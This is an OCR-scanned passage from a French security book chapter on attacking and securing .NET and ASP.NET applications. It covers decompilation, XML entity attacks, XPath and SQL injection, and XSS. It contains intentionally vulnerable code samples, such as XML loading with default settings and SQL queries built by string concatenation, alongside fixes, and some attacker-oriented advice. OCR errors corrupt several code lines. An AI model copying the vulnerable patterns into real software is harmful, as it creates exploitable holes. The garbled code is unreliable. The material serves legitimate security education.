Lorsque Ton examine des applications du framework .Net, les problemes de securite les 
plus susceptibles d'apparaitre sont lies a une mauvaise utilisation des API et a une algo- 
rithmique defaillante. Les depassements de tampons et autres attaques classiques 
ciblant les codes natifs sont peu probables dans I'environnement controle de .Net. Cette 
facilite d'emploi et la possibilite d'ecrire rapidement du code incitent les developpeurs 
a preter moins d' attention a la programmation. Les agresseurs exploitent cette facilite 
d'emploi en apprenant a connaitre le framework .Net et la maniere dont les API et la 
plate-forme sont souvent mal employees. 
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Attaques generiques centre le framework 

Le reversing, les attaques XML et SQL menacent le framework .Net, que 1' application 
concemee releve ou non d' ASP.Net. 

Reversing du framework .Net 

Lorsque Ton compile du code .Net ecrit dans un langage du CLR tel que C#, il n'est pas 
directement transforme en assemblage de bytecode natif, pret pour execution sur le 
systeme d'exploitation. Le compilateur produit un bytecode intermediaire, au format 
Microsoft Intermediate Language (MSIL). Ce dernier rappelle le langage d' assemblage 
x86 classique, a ceci pres qu'il dispose d'un jeu d' instructions bien plus riche, incluant 
notamment des concepts de haut niveau comme les objets et les types. A I'aide de ce 
langage intermediaire, le CLR peut controler plus efficacement I'environnement de 
fonctionnement du programme, ce qui autorise la gestion des tampons et objets deja 
mentionnee. 

Quand le CLR debute I'execution d'un assemblage de MSIL, il realise une compilation 
juste-a-temps (Just-in-Time ou JIT, on parle aussi de compilation a la voice) pour trans- 
former le MSIL en code natif au systeme actuel. Sur une machine x86, il s'agira par 
exemple de bytecode x86 natif (assembleur). Cette etape de JIT ralentit la premiere 
execution du programme, mais ameliore ses performances par la suite. 

En plus des instructions executables, les assemblages MSIL embarquent de grandes 
quantites de meta-donnees decrivant les types et les objets qu'ils renferment. A I'aide 
d'outils librement disponibles, il est facile d'inspecter ces structures pour etablir un 
catalogue complet du code de 1' application. La majorite des elements presentes dans ce 
chapitre furent rassembles par la lecture de documentation, 1' experimentation sur des 
echantillons de code et I'emploi d'un decompilateur .Net afin d'examiner les details du 
framework et de comprendre ce qui s'y deroulait vraiment. 

Le decompilateur generalement recommande pour .Net, .Net Reflector, est librement 
disponible a I'adresse www.aisto.com/roeder/dotnet/. Ce produit transforme les 
assemblages MSIL en le langage .Net de votre choix. Gardez I'existence de cet outil a 
I'esprit lorsque vous rechercherez, dans le framework .Net, de nouvelles faiblesses ou 
constructions susceptibles de poser des problemes de securite. En tant que developpeur, 
sou venez- vous qu'il est facile de traduire le code .Net MSIL sous une forme proche du 
code source de 1' application. II est done important de ne pas tenter de maquiller ou 
cacher des donnees sensibles dans les assemblages, car un agresseur consciencieux 
saura presque toujours les y decouvrir. 

Pour illustrer la puissance de la decompilation, les exemples reproduits ci-apres presen- 
tent le code source C# original pour une application elementaire de type Hello Word, et 
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la sortie decompilee produite par .Net Reflector a partir de I'assemblage compile, et 
sans disposer du code source original. 

Version C# : 

static void Main (st ring [ ] args) 
{ 

int leNombreDeux = 2; 
int leNombreTrois - 3; 

string chaineDeFormat = "Bonjour le monde, le numero magique est {0}"; 

Console .WriteLine (chaineDeFormat , leNombreDeux + leNombreTrois); 
Environment . Exit (0) ; 

} 

Et voici la version decompilee produite par .Net Reflector : 

private static void Main(string[ ] args) 
{ 

int num = 2; 
int num2 - 3; 

string format - "Bonjour le monde, le numero magique est {0}"; 
Console .WriteLine (format , num + num2) ; 
Environment . Exit (0) ; 

} 

Meme sans disposer d'aucun acces au code source original, .Net Reflector a done reussi 
a produire un programme quasiment identique ! Seuls les identifiants (noms de varia- 
bles), absents du MSIL, changent. Pour les traiter, .Net Reflector attribue des noms en 
se fondant sur le type des objets et leur ordre de creation. Puisse cet exemple vous faire 
prendre conscience de I'efficacite de la decompilation en matiere d' analyse des applica- 
tions .Net sans acces a leur code source. Pour reduire I'efficacite de 1' inversion .Net, 
plusieurs produits d'obfuscation ont vu le jour. lis genent 1' analyse en modifiant les 
noms des variables et des classes. Malheureusement, ils ne feront que ralentir un agresseur 
motive, sans vraiment I'empecher de parvenir a ses fins. 

Attaques XML 

Les bibliotheques de classes du framework .Net prennent en charge XML de maniere 
totale et native, a travers I'espace de noms System . Xml. Dans ce cadre, il est done facile 
d'ecrire des applications consommant ou produisant du XML, appliquant des transfor- 
mations XSLT (Extensible Stylesheet Language Transformations) ou des validations de 
schemas XSD (XML Schema Deflnition) ou employant des services web s'appuyant sur 
XML. Malheureusement, nombreuses sont les classes XML originales vulnerables a 
des agressions communes, telles que celles des references d'entites extemes (ou XXE, 
evoquees au Chapitre 1) ou les milliards d'attaques elementaires. Bien des failles ont 
certes ete colmatees dans les nouvelles classes de .Net 2.0, mais les classes XML prin- 
cipales n'ont pas bouge pour ne pas compromettre la retrocompatibilite. Cette attention 
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de Microsoft pour la compatibilite descendante signifie qu'il est facile aux deve- 
loppeurs de commetti^e des erreurs en manipulant du XML issu de sources douteuses. 
Un agresseur doue saura exploiter ces problemes a chaque fois que XML et .Net seront 
associes. 

L'une des methodes les plus classiques pour manipuler du code XML dans le 
framework .Net consiste a s'appuyer sur les classes System . XmlDocument. Elles lisent 
du XML qu'elles transforment en representation interne du document, appelee DOM 
{Document Object Model , modele objet de document). Le DOM facilite la manipula- 
tion du document par les developpeurs, qu'il s'agisse d'y mener des requetes XPath 
ou d'y naviguer de maniere hierarchique. Malheureusement, les methodes par 
lesquelles ces classes chargent le document prevoient des reglages par defaut non 
securises ; elles sont done vulnerables aux agressions par entites externes ou develop- 
pement d'entites. 

Rendre le serveur d'application indisponible lors de I'analyse syntaxique 
duXML 



Popularite : ^^^^ 


4 


Simplicite : 8 


Impact : 


6 


Evaluation du risque : 


6 



Penchons-nous sur les fonctions de I'exemple suivant, lequel cree un DOM a partir du 
code XML fourni par I'utilisateur sous forme de fichier ou de chaine. C'est un cas de 
figure frequent dans les applications web traitant des donnees issues des utilisateurs et 
s'appuyant sur XML pour serialiser leur etat. 

/// <summary> 

/// Charge du code XML depuis un fichier, renvoie le XmlDocument charge. 
/// </summary> 

/// <param name="xmlFile">URI du fichier renfermant le code XML</param> 
/// <returns>Obi et XmlDocument charge</returns> 
public XmlDocument InSecureXmlFileLoad(string xmlFile) 
{ 

XmlDocument xmlDocument = new XmlDocument () ; 
XmlDocument . Load (xmlFile) ; 
return xmlDocument; 

} 

/// <summary> 

/// Charge du code XML depuis une chaine. 
/// </summary> 

/// <param name="serializedXml">XIVIL serialise sous forme de chaine</param> 
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III <returns>Ob j et XmlDocument charge</returns> 

public XmlDocument InsecureXmlStringLoad(string serializedXml) 

{ 

XmlDocument xmlDocument - new XmlDocument () ; 

// En coulisses .Net cree un objet XmlTextReader non securise 

xmlDocument . LoadXml(serializedXml) ; 

return xmlDocument; 

} 

Si ce type de code analysait des donnees fournies par un agresseur dans un serveur 
applicatif, il serait facile a ce dernier de mettre ['application a genoux. A partir de la 
version 2.0 du framework .Net, I'espace de noms System. Xml dispose d'une classe 
XmlReader desactivant par defaut le traitement des definitions de type de documents 
{Document Type Definitions ou DTD). II sera bien plus robuste d' employer cette classe 
lors du chargement de code XML dans un objet XmlDocument. 

Configuration des classes de cliargement de XML pour qu'elles cliargent 
le code XML de maniere sure 

Voici quelques exemples securises produisant un objet XmlDocument a partir d'un 
fichier ou d'une chame. On remarquera que le reglage ProhibitDtd (interdire la DTD) 
re9oit explicitement la valeur vraie True quand bien meme celle-ci constitue deja la 
valeur par defaut de la classe XmlReader. Cette precaution importante permet de se 
premunir de la situation oil Microsoft deciderait de modifier les valeurs pai^ defaut dans 
les futures versions du framework .Net. 

/// <summary> 

/// Cree un objet XmlDocument a partir d'un fichier en evitant 
/// les attaques XML connues. 
/// </summary> 

/// <param name="xmlFile">URI du fichier renfermant le code XIVIL</param> 
/// <returns>Obi et XmlDocument charge</returns> 
public XmlDocument SecureXmlFileLoad(string xmlFile) 
{ 

XmlDocument xmlDocument - new XmlDocument () ; 
XmlReaderSettings readerSettings = new XmlReaderSettings( ) ; 
readerSettings . ProhibitDtd = true; // Evite le developpement 
d ' entites 

readerSettings . XmlResolver - null; // Evite les references externes 

readerSettings . IgnoreProcessinglnstructions = true; 

XmlReader xmlReader = XmlReader. Create(xmlFile, readerSettings); 

xmlDocument . Load (xmlReader) ; 

return xmlDocument; 

} 

/// <summary> 

/// Cree un objet XmlDocument a partir d'une chaine renfermant du 
/// code XML serialise, en evitant les attaques XML connues. 
/// </summary> 

/// <param name="serializedXml">XML serialise sous forme de chaine</param> 
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/// <returns>Obi et XmlDocument charge</ returns> 

public XmlDocument SecureXmlStringLoad(string serializedXml) 

{ 

XmlDocument xmlDocument - new XmlDocument () ; 
XmlReaderSettings readerSettings = new XmlReaderSettings( ) ; 
readerSettings . XmlResolver - null; // Evite les references externes 
readerSettings . IgnoreProcessinglnstructions = true; 

// II faut creer un objet StringReader pour envelopper la chaine 
XmlReader xmlReader = 

XmlReader.Create(new StringReader (serializedXml) , readerSettings) ; 
xmlDocument . Load (xmlReader) ; 
return xmlDocument; 

} 

Manipulation du comportement de I'application par injection de XPath 

XPath est un langage de requetes permettant aux developpeurs de choisir dans un docu- 
ment XML des elements correspondant a des criteres precis. Le framework .Net I'inte- 
gre a la classe XmlDocument a travers les methodes SelectNodes et SelectSingleNode, 
qui appliquent une requete XPath au DOM de I'objet XmlDocument. 

9 ' Injection de XPath dans .Net 



Popularite : 


4 


Simplicite : 


6 


Impact : 


6 


Evaluation du risque : 


6 



Une faille de securite classique survient quand les developpeurs inserent des donnees 
foumies par un agresseur dans des instructions de requetes XPath, modifiant ainsi la 
requete reellement executee par le systeme. Dans bien des cas, cela revele des informa- 
tions sensibles et peut meme mener a un acces non autorise sur le systeme. Malheureu- 
sement, le framework .Net ne foumit aucun mecanisme d'echappement des 
informations avant leur insertion dans les instructions XPath. Les tests de securite 
ciblant .Net devraient done tenter des injections XPath contre les applications, 
puisqu'aucune solution d'evitement n'est proposee. Vous trouverez un mecanisme 
d'injection de XPath au Chapitre 1, dans la presentation de I'outil SecurityQA Toolbar. 

Echappement des donnees avant de les inclure dans des requetes XPath 

Pour eviter les attaques XPath dans .Net, il faut savoir si I'instruction concernee deli- 
mite ses chaines a I'aide d'apostrophes simples ou doubles. En cas d'erreur d'echappe- 
ment, il existe un grand risque de failles de securite. Gardez cela a 1' esprit lorsque vous 
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developperez des applications .Net employant XPath comme methode d'acces aux 
donnees. 

Microsoft a fortement promu la technologic XML, employee largement dans 1' ensem- 
ble du framework .Net. Par consequent, toute inspection d' applications XML est 
susceptible de devoiler des faiblesses dans la manipulation de ce format. Les avantages 
proposes par le framework .Net aux developpeurs se retournent facilement en faveur 
d'un agresseur consciencieux. 

Injection SQL 

Les vulnerabilites de .Net en matiere d' injection SQL constituent un veritable danger 
dont les developpeurs ne sont pas toujours conscients. Nombreux sont ceux qui 
pensent - a tort - que le recours a du code gere les affranchira de cet ecueil. Comme 
pour la majorite des bibliotheques d'acces a des donnees, le framework .Net propose 
des fonctionnalites permettant de reduire les risques. II releve toutefois de la respon- 
sabilite des developpeurs d' employer correctement ces outils pour securiser leurs 
applications. 

Les fonctionnalites SQL de .Net sont reunies sous I'espace de noms 
System. Data. SqlClient, dans des classes comme SqlConnection et SqlCommand. 
Pour interagir avec une base de donnees, les developpeurs creent un objet SqlConnec 
ton, se connectent a la base, puis executent leurs requetes a travers SqlCommands, 
comme dans cet exemple : 

// Se connecte a la base de donnees Northwind locale avec 
// I'identite Windows de 1 ' utilisateur actuel. 
string connectionString = 

" Serve r=localhost ; Database=Ad vent u reworks ; Integrated Security=SSPI " ; 
SqlConnection sqlConn - new SqlConnection (connectionString ) ; 
sqlConn.Open( ) ; 

SqlCommand sqlCommand - sqlConn .CreateCommand () ; 
sqlCommand . CommandType = CommandType.Text; 
sqlCommand . CommandText = 

"SELECT * FROM Contact WHERE FirstName= "' + firstName + ; 
sqlCommand . ExecuteReader ( ) ; 

Ce code se connectera a I'exemple de base de donnees Adventu reworks proposee avec 
le logiciel Microsoft SQL Server 2005, pour y executer une requete de selection dans le but 
de rapatrier les informations relatives au contact precise. On remarquera la construction 
de la requete par concatenation d'une saisie utilisateur (la chaine firstName, represen- 
tant le prenom) avec le reste de la chaine de requete. Voila un exemple, dans une appli- 
cation .Net, d'une faille classique par injection SQL. Si un agresseur propose une 
chaine composee d'une apostrophe simple suivie d'autres elements de requete, la base 
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de donnees ne pourra pas distinguer 1' intention originale du developpeur de la demande 
mal intentionnee. 

Injection SQL par inclusion directe de donnees utilisateur lors 
de la construction d'un objet SqlCommand 



Popularite : 8 


Simplicite : 


6 


Impact : 


9 


Evaluation du risque : 


9 



L'echantillon de code qui suit interroge la base de donnees au sujet d'un enregistrement 
utilisateur precis : 

string query = "SELECT * FROM Users WHERE nanie='" + userName + ; 
SqlConnection conn - new SqlConnection(connectionString) ; 
conn.OpenO ; 

SqlCommand sqlCommand - oonn .CreateCommand ( ) ; 
sqlCommand . CommandText = query; 
SqlDataReader reader = sqlCommand . ExeouteReader( ) ; 
/* Ici, on traite les resultats */ 

Ce programme est vulnerable a une attaque par injection SQL car il execute directe- 
ment une requete creee a 1' aide de donnees fournies par 1' utilisateur. On soulignera 
I'emploi des objets SqlCommand et SqlConnection, sur lesquels nous reviendrons 
jusqu'a la fin du chapitre. Un objet SqlConnection cree une connexion sur une base de 
donnees, tandis qu'un objet SqlCommand represente une commande precise a executer 
dans le systeme de gestion de la base de donnees (DataBase Management System ou 
DBMS). On remarquera egalement qu'un agresseur pourra inserer plusieurs commandes 
dans la requete en separant chacune d'entre elles par I'operateur point-virgule (" ; "). 

Separation des donnees fournies par I'utilisateur du reste des requetes 
avec la classe SqlParameter 

Heureusement, ces bogues sont faciles a eviter dans le cadre de .Net. Les classes 
SqlParameter permettent d'inserer des donnees dans les requetes SQL sans recourir a 
une concatenation directe de chaines. Son emploi permettra aux classes .Net de separer 
les donnees utilisateur du texte de la requete et de s' assurer que les donnees de 1' agres- 
seur ne pourront pas modifier les requetes imaginees par le programmeur. Ces classes 
prennent en charge les procedures stockees ainsi que les requetes standard redigees 
sous forme de texte, telles que I'instruction SELECT donnee dans I'exemple ci-dessus. 

Pour associer un objet SqlParameter a une requete textuelle, on pourra indiquer les 
variables de requete en plagant celles-ci dans le corps de celle-ci, avant de doter I'objet 
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SqlCommand des objets SqlParameter appropries. Les variables sont signalees dans les 
requetes par la notation @NomDeParametre, oil NomDeParametre porte le nom d'un objet 
SqlParameter que Ton foumira a I'objet SqlCommand. Le recoui-s a des requetes parame- 
trees produit certains effets de bord benefiques : parfois les requetes repetees s'executeront 
plus rapidement ; d'autre part, elles peuvent faciliter la lecture et I'audit du code. 

Reecrit pour faire appel a des objets SqlParameter, I'exemple precedent se presenterait 
comme suit : 

SqlCommand sqlCommand - sqlConn .CreateCommand ( ) ; 
SqlCommand . CommandType = CommandType.Text; 
sqlCommand. CommandText = "SELECT * FROM Contact WHERE 
FirstName=@FirstName" ; 

SqlParameter nameParam = new SqlParameter( "(apirstName" , firstName); 
nameParam.SqlDbType = SqlDbType.Text; 
sqlCommand . Parameters .Add (nameParam) ; 

Un examen attentif montre que la requete a change ; elle emploie desormais un objet 
SqlParameter pour preciser la valeur de la colonne de prenom FirstName dans la clause 
WHERE. On peut desormais executer cette requete en toute securite, sans se soucier de 
donnees issues de I'utilisateur et susceptibles d'attaquer la base de donnees. 

On peut recourir a la meme strategic de protection lors de 1' appel de procedures 
stockees. Pour eviter de preciser une longue chame de requete telle que exec 
sp_ma _procedure_stockee @paraml, @/7<3ram2, modifiez la propriete CommandType de 
I'objet SqlCommand pour lui attribuer la valeur CommandType . StoredProcedure. De 
cette maniere, le framework .Net comprendra que le developpeur souhaite appeler une 
procedure stockee et assemblera la requete de maniere appropriee. 

Les agresseurs disposent de certains avantages lorsqu'ils tentent de realiser des attaques 
par injection de SQL contre des applications ASP.Net. Tout d'abord, la grande majorite 
de ces demieres, deployees dans des environnements Microsoft, s'appuient sur la base de 
donnees Microsoft SQL Server Un agresseur gagnera un precieux temps de reconnaissance 
en partant du principe qu'il se trouve en presence de ce produit et en retenant les atta- 
ques appropriees. D'autre part, ASP.Net represente la plate-forme web la plus repandue du 
framework .Net. Forts de ces connaissances, les agresseurs pourront tenter de compromet- 
tre les applications en partant des manieres les plus probables dont les requetes seront 
susceptibles d'etre assemblees en backend . II suffit parfois de peu d' informations pour 
trouver la maniere d' exploiter une vulnerabilite par injection SQL donnee. 

Ainsi, une attaque frequente contre les versions de Microsoft SQL Server sorties avant 
2005 appelait la procedure stockee xp cmdshell, de sinistre reputation, dans I'espoir 
que r application web disposait de hauts privileges vis-a-vis de la base de donnees. 
Cette agression, propre a ce produit, ne donnera rien sur les autres installations de 
DBMS. 
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Lors du sondage par divers tests d'une nouvelle application .Net, on commencera par 
rechercher les endroits oil les developpeurs mettent en place la propriete CommandText 
sur les objets SqlCommand. Pour enumerer ces appels, il suffit souvent de rechercher 
les chaines CommandText ou CommandType . Text et de decider au cas par cas si les 
programmeurs ont correctement parametre les requetes SQL. 

Souvenez-vous que pour beneficier des avantages offerts par les fonctions SQL securi- 
sees, il faut les employer. En tant qu'agresseur, soyez attentif et rendez-vous aux 
endroits oil les developpeurs ont fait preuve d' incompetence ou de paresse dans leur 
utilisation de SQL. 

Injection de donnees arbitraires et ASP.Net 

Le framework ASP.Net propose plusieurs methodes pour proteger les applications web 
des attaques par injection de donnees arbitraires (Cross-Site Scripting ou XSS). Ces 
mecanismes, certes utiles pour combler ce type de faiblesses, ne sont pas infaillibles et 
pouiTont donner aux developpeurs une impression erronee de securite. Dans cette 
section, nous passons en revue les protections XSS du framework ASP.Net en signalant 
les cas principaux de mauvaises utilisations de ces demieres. 

Validation des saisies 

L'un des premiers fronts de defense d'une application ASP.Net consiste a deployer des 
validateurs de donnees saisies en entree. Appliques sur les champs de saisie, ces objets 
s'assureront que les valeurs proposees sont correctes. Ces controles realiseront une vali- 
dation cote client comme cote serveur. Le framework .Net dispose de plusieurs classes de 
validation : 

■ RequiredFieldValidator. S' assure qu'un utilisateur a saisi quelque chose dans le 
controle d'entree associe. 

■ RegularExpressionValidator. Confronte la chaine proposee par I'utilisateur a une 
expression reguliere fournie par le developpeur. 

■ CompareValidator. Compare les valeurs saisies par I'utilisateur a des donnees 
situees dans un autre controle ou a une valeur constante fournie par le developpeur. 

■ RangeValidator. Verifie que les donnees fournies par I'utilisateur relevent d'un 
intervalle precis. De nombreux types sont disponibles, comme par exemple Date 
(date) ou Integer (entier). 

■ CustomValidator. Propose un mecanisme par lequel les developpeurs pourront 
ecrire leurs propres validateurs personnalises. La classe CustomValidator permet la 
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mise en place de validations plus complexes, par exemple, le controle des coherences 
et integrites au niveaux de la base de donnees {business logic). 

Chacun de ces validateurs compte deux parties. La premiere s' execute sur le navigateur, 
cote client, et emploie JavaScript pour eviter toute soUicitation du framework ASP.Net 
si les criteres precises ne sont pas valides. Cependant, en tant qu'agresseur, vous savez 
bien qu'il est facile de contourner tout controle cote client en organisant son attaque 
autour d'un mandataire web tel que WebScarab. La deuxieme partie d'un validateur 
ASP.Net implique done une verification cote serveur, sur code natif .Net. 

Contournement de la validation en ciblant directement les gestionnaires 



d'evenements cote serveur 


Popularite : 


4 


Simplicite : 


4 


Impact : 


6 


Evaluation du risque : 


6 



Lorsque 1' application ASP.Net sollicite le serveur par un postback (publication), le 
framework controlera toutes les saisies utilisateur en executant tous les controles des 
validateurs associes. Cependant, meme si une page echoue lors de cette etape de validation, 
il demeure possible d'acceder a une valeur et de I'utiliser. 

Controle de la propriete isVaiid de la page avant de manipuler 
toute entree fournie par I'utilisateur 

II releve de la responsabilite du developpeur de controler la propriete IsValid de la 
page. En examinant une application employant des validateurs, recherchez les gestion- 
naires d'evenements ne verifiant pas immediatement la valeur de la propriete IsValid. 

Voici un exemple de gestionnaire d'evenements controlant correctement la bonne vali- 
dation de la page : 

protected void SubmitButton_Click(obi ect sender, EventArgs e) 
{ 

// Si la page n'est pas valide, ne rien faire ; 

// les validateurs formateront correctement la sortie. 

if (Page . IsValid == false) 

{ 

return; 

} 

// Mener les traitements appropries ici 

} 
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Les validateurs imposant aux developpeurs un controle explicite de leurs resultats, ils 
sont souvent mal employes. Gardez cette regie a 1' esprit : si son navigateur empeche un 
agresseur de soumettre des donnees malveillantes, il trouvera un moyen d'employer des 
outils, tels que WebScarab, pour contoumer cette restriction. 

Validation de page par defaut 

Dans la version 2.0 du framework ASP.net, Microsoft a incorpore une nouvelle valida- 
tion de page par defaut associee automatiquement a Taction Submit. II s'agit de traiter 
directement les risques d'attaques XSS en inspectant les requetes entrantes pour savoir 
si le client tente ou non de fournir des donnees malveillantes, comme du code HTML 
ou un script cote client. Pour activer ces validateurs, il n'est plus necessaire de verifier 
la propriete Page . IsValid, car ASPNet s'en chargera automatiquement. Heureusement 
pour les agresseurs, les validateurs par defaut genent bien des operations que les deve- 
loppeurs souhaitent realiser. Par defaut, la validation ASPNet bloque ainsi la soumis- 
sion de balises HTML, employees dans bien des applications web pour permettre aux 
utilisateurs de proposer des liens vers des images dans des contenus comme des articles 
de forums. 

Desactivation de la validation de page par defaut du framework ASP.Net 



Popularite : 


4 


Simplicite : 8 


Impact : 


6 


Evaluation du risque : 


7 



yVe pas desactiver la validation de page 

Pour permettre a leurs utilisateurs de proposer des balises de mise en gras du texte, les 
developpeurs desactivent souvent la validation de page d'ASPNet. II existe deux 
manieres de proceder : machine par machine, en intervenant sur machine . config, ou 
page par page en attribuant a la propriete ValidateRequest la valeur false. Nous 
deconseillons formellement et strictement aux developpeurs de desactiver la validation 
de page au niveau de la machine, car cela pourra affecter de maniere negative d'autres 
de ses applications, susceptibles de s'appuyer sur ce mecanisme pour leur protection. 
Au lieu de cela, si une page doit recevoir des donnees de I'utilisateur, on pourra desac- 
tiver les validateurs pour elle seule, en prenant garde de valider ti^es strictement les 
valeurs proposees avant de placer des donnees issues de I'utilisateur dans le document 
foumi en reponse. 
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Dernier souci de la validation par defaut d'ASP.Net : Microsoft documente assez mal 
ses fonctionnalites et son efficacite. Sans fondation solide, on ne pourra pas se reposer 
sur cette validation de page par defaut en toutes circonstances pour proteger les applica- 
tions web. On se demande meme si on peut lui accorder quelque confiance que ce soit ! 
Malgre cette absence de contrat, la validation de page ne pourra qu'ameliorer (au sens 
large) les defenses d'une application ASP.Net ; c'est une propriete potentiellement utile 
au cas oil les autres mecanismes viendraient a echouer. 

Encodage de sortie 

La validation des saisies empeche parfois les attaques XSS, mais pas autant que I'appli- 
cation systematique d'un encodage dans les sorties. Le framework .Net integre des 
methodes pour encoder les donnees fournies par I'utilisateur avant de les inserer dans 
les documents de reponse. On y recourra des lors qu'il s'agira de manipuler des saisies 
utilisateur, qu'elles proviennent d'une requete ou d'un stockage persistant comme une 
base de donnees. Lorsque Ton encode des donnees a I'aide du framework .Net, tous les 
caracteres speciaux au sens de HTML, comme les signes superieur et inferieur, seront 
echappes. 

Pour encoder les donnees, on emploiera la methode System. Web. HttpUti 
lity .HtmlEncode. Cette derniere prend pour parametre une chaine et en renvoie la 
version encodee en HTML ; I'exemple ci-apres illustre son fonctionnement. 

protected void Button1_Clicl<(obiect sender, EventArgs e) 
{ 

this . PageLabel . Text - HttpUtility . HtmlEncode (this . UserTextBox . Text ) ; 

} 

L'usage consiste a reserver une methode d'assistance a I'ecriture dans le flux de sortie. 
Celle-ci s'assurera que toutes les chames emises passent par le filtre HtmlEncode. Encoder 
systematiquement les donnees produites en sortie de cette maniere constitue I'une des 
rares techniques difficiles a contourner, et protegera efficacement contre les erreurs 
des filtres de saisie. 

Plus haut dans ce chapitre, nous avons signale que les developpeurs souhaitent souvent 
autoriser leurs utilisateurs a preciser des instructions de formatage dans les contenus 
qu'ils soumettent, comme par exemple des balises de mise en gras du texte. Pour reali- 
ser cela de maniere sure en .Net, employez la methode HtmlEncode pour encoder les 
donnees, puis faites appel a des fonctions travaillant sur les chames pour y remplacer 
les versions echappees des balises autorisees par leur version active - on transformera 
ainsi &gt ; b&lt ; en <b>. Cette approche par liste blanche ("tout ce qui n'est pas expli- 
citement autorise est interdit"), apres avoir systematiquement encode I'ensemble des 
donnees, garantit mieux I'impossibilite pour un agresseur de fournir des balises 
susceptibles de compromettre la securite de 1' application. 
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Dernier detail de I'encodage de sortie a garder a 1' esprit : le recours a la methode 
HtmlEncode ne produit pas les donnees sures a inserer dans des blocs de script cote 
client, comme JavaScript. Avant le Web 2.0, la plupait des applications ne reprenaient 
les valeurs fournies par leurs utilisateurs que dans des sections HTML des pages web. 
Avec I'avenement d'AJAX et le developpement de JSON et JavaScript, il devient plus 
probable de rencontrer des saisies utilisateur au coeur de blocs de script appeles a etre 
evalues. Le framework .Net ne propose aucune methode pour echapper les donnees a 
inserer dans du code JavaScript ; il revient done aux developpeurs d' applications et 
d'ecrire les leurs. 

XSS et les controles dans les formulaires web 

Les formulaires web representent I'une des fonctionnalites les plus puissantes d' ASP.Net. 
Les developpeurs creent ces objets autour de controles web pour mettre en place des fonc- 
tionnalites d'interface utilisateur, d'une maniere proche de celle dont ils procederaient 
dans une application cliente evoluee standard. Le framework ASP.Net propose une infras- 
tructure d'evenements permettant aux controles web de recevoir des evenements issus des 
navigateurs - tel clic sur un bouton verra done 1' application reagir de maniere appropriee. 
En associant cette infrastructure a la fonctionnalite graphique de mise en forme des 
controles de Visual Studio, la programmation pour le Web rappelle beaucoup le develop- 
pement d'une application WinForms .Net. La familiarite des formulaires web d' ASP.Net 
endort parfois la vigilance des programmeurs, qui oublient certains des risques de securite 
(comme XSS) dont ils devraient se preoccuper dans la conception de leurs propres appli- 
cations web. Un agresseur pourra exploiter les faiblesses des developpeurs les moins 
experimentes en recherchant les emplois mal avises des formulaires web. 

Attaque XSS en ciblant les proprietes de controle des formulaires web 
ASP.Net 



Popularite : ^^^^^^ 8 


Simplicite : 


7 


Impact : 8 


Evaluation du risque : 


9 



Une erreur frequente consiste a croire que les controles par defaut realiseront automati- 
quement I'encodage HTML. C'est effectivement le cas de certains, mais pas de la majo- 
rite. Si Ton fournit directement a un controle, sous forme de texte, des donnees issues 
d'un utilisateur, cela produira souvent une faille susceptible de mener a une injection de 
donnees arbitraires. Ainsi, le controle Label (etiquette), qui permet d'afficher du texte 
sur une page web, ne propose aucun codage de sortie. Lorsque Ton associe des saisies 
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utilisateur a sa propriete Text, ces donnees seront directement inserees dans la page 
web. Dans le cas d'un agresseur embarquant un script dans la valeur proposee, il est 
done probable qu'une faiblesse de type XSS en resultera. 

Encodage HTML des saisies utilisateur avant de reproduire leur valeur 
dans les proprietes de sortie des controles de formulaire web d'ASP.Net 

Contrairement au controle Label, le controle de liste deroulante DropDownList enco- 
dera automatiquement les elements qu'il renferme. Cela signifie que Ton peut placer 
des saisies utilisateur dans un objet DropDownList sans devoir craindre une attaque par 
insertion de donnees arbitraires. Cependant, meme si ASP.Net assure 1' encodage des 
nouveaux elements, cela ne signifie pas que les valeurs d'un objet DropDownList pour- 
ront etre directement inserees dans d'autres elements de page, comme un controle 
Label. En extrayant ces valeurs d'un objet DropDownList, ASP.Net en assure automati- 
quement le decodage HTML, se coupant ainsi des protections ainsi mises en place. 
Cette variation dans les comportements des controles ouvre des failles beantes et 
augmente le risque pour les developpeurs de mal comprendre les regies d'encodage de 
tel ou tel controle. 

Microsoft a recemment mis a jour une grande partie de la documentation des controles 
web de MSDN (http://msdn.microsoft.coni/fr-fr/library/aa984118(VS.71).aspx) 

afin de preciser lesquels encodent ou non les donnees refues - une lecture attentive de 
cet article devoilera les controles posant probleme, information utile pour attaquer des 
applications ASP.Net. De nombreux controles web souvent utilises etant fournis par 
defaut par ASP.Net, ils sont faciles a reconnaitre. Pour un agresseur familiarise avec les 
controles courants et leurs failles, il sera aise de developper un arsenal standard 
d'attaques specialisees pour chacun d'entre eux. Un bon attaquant lit souvent la 
documentation une page plus loin que le developpeur de 1' application. 

En savoir plus sur I'injection de donnees arbitraires 

Bien que les controles web soient employes pour la majorite des elements de I'interface 
utilisateur d'ASP.Net, il est possible d'ecrire directement dans le flux de sortie. Pour 
cela, les developpeurs font appel a la methode Response .Write, laquelle ne realise 
aucun encodage ; son application a des saisies utilisateur non encodees ou non filtrees 
constitue done un signal de danger immediat. Lorsque Ton audite une application web 
.Net dont on ne dispose pas du code source, une bonne habitude consiste a faire appel 
au produit .Net Reflector pour rechercher les mentions de la methode Response .Write. 
Cette operation elementaire aidera parfois a comprendre le fonctionnement du 
programme ; dans les meilleurs cas, elle identifier a les points oil Ton place directement 
des saisies utilisateur sur la sortie de la page. 
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Lors de la confection d'attaques XSS, un agresseur decouvrira parfois des faiblesses se 
produisant lorsque Ton soumet a un site web un formulaire a I'aide de la methode POST. 
Les attaques XSS reposant sur cette derniere sont parfois plus difficiles a ecrire, mais 
une construction d'encodage interessante d'ASP.Net pourra faciliter legerement la 
tache de 1' agresseur. De maniere traditionnelle, une application ASP.Net accede aux 
donnees des formulaires a travers la propriete d'index Page. Form. L'emploi de cette 
derniere impose la publication d' informations sur la page dans le cadre d'un formulaire 
HTTP de type POST. Cependant, on peut egalement acceder aux donnees a I'aide de 
I'objet d'index Request. Dans ce cas, les informations pourront etre incluses dans la 
chaine de requete ou dans un champ de formulaire publie. Si 1' application opte pour 
cette deuxieme possibilite, et prefere I'objet d'index Request au champ Page. Form, on 
pourra placer les parametres d'une attaque XSS dans la chaine de requete et non dans le 
corps POST. Evidemment, la possibilite d'effectuer cette substitution depend de la maniere 
dont I'application decide d'acceder aux donnees. Cependant, dans les scenarios d'attaque 
complexes, ce comportement pourra simplifier considerablement I'ecriture de I'agression. 

Voila qui clot la presentation des problemes d'injection de donnees arbitraires (XSS) 
dans le cadre d'ASP.Net. On le constate, ce framework propose plusieurs mecanismes 
protegeant contre ce type d'attaques. Cependant, la majorite de ces lignes de defense 
implique un effort de la part des programmeurs. Souvent presses pai^ des delais de reali- 
